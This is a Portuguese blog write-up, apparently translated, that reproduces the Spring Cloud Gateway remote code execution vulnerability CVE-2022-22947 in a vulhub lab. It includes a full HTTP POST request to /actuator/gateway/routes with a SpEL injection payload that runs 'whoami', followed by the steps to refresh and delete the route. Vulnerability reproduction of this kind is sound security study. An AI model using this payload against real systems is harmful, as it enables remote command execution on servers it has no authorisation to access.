Vulnerabilidade de execução de comando remoto Spring Cloud Gateway (CVE-2022-22947)


Isenção de responsabilidade: Este artigo é apenas para aprendizado e referência. Todos os recursos envolvidos nele são da Internet. Por favor, não os use para nenhum ato ilegal, caso contrário você arcará com as consequências correspondentes e não assumo qualquer responsabilidade legal e conjunta e vários passivos.

Descrição da vulnerabilidade

Os aplicativos que usam o Spring Cloud Gateway são vulneráveis ​​à injeção de código quando o endpoint do Actuator está habilitado, exposto e inseguro. Um invasor pode criar solicitações maliciosas que permitem a execução remota arbitrária em um host remoto.

Quando um invasor tem acesso à API do atuador, a vulnerabilidade pode ser explorada para executar comandos arbitrários.

Esfera de influência

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway Outras versões que não são mais atualizadas

Construção do ambiente

Construção de ambiente de vulnerabilidade, usando vulhub, método de construção, autopesquisa.

Depois de construir com sucesso, visite

insira a descrição da imagem aqui

Recorrência de vulnerabilidade

  1. Verifique se o ponto final do atuador está ativado

Capture pacotes e modifique a interface para /actuator
insira a descrição da imagem aqui
2. Visualize /actuator/gateway/routes

insira a descrição da imagem aqui
As informações de roteamento retornadas significam que, ao acessar o índice, ele é roteado para http://example.com:80

  1. criar rota
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.10.171:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 431

{
    "id": "test",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

insira a descrição da imagem aqui

4. Atualize o roteamento

insira a descrição da imagem aqui
5. Acesse a rota criada

insira a descrição da imagem aqui

6. Excluir rota

insira a descrição da imagem aqui

7. Atualize a rota novamente

insira a descrição da imagem aqui

8. Em seguida, visite a rota e descubra que a rota foi excluída

insira a descrição da imagem aqui

Acho que você gosta

Origin blog.csdn.net/guo15890025019/article/details/129503346
Recomendado
Clasificación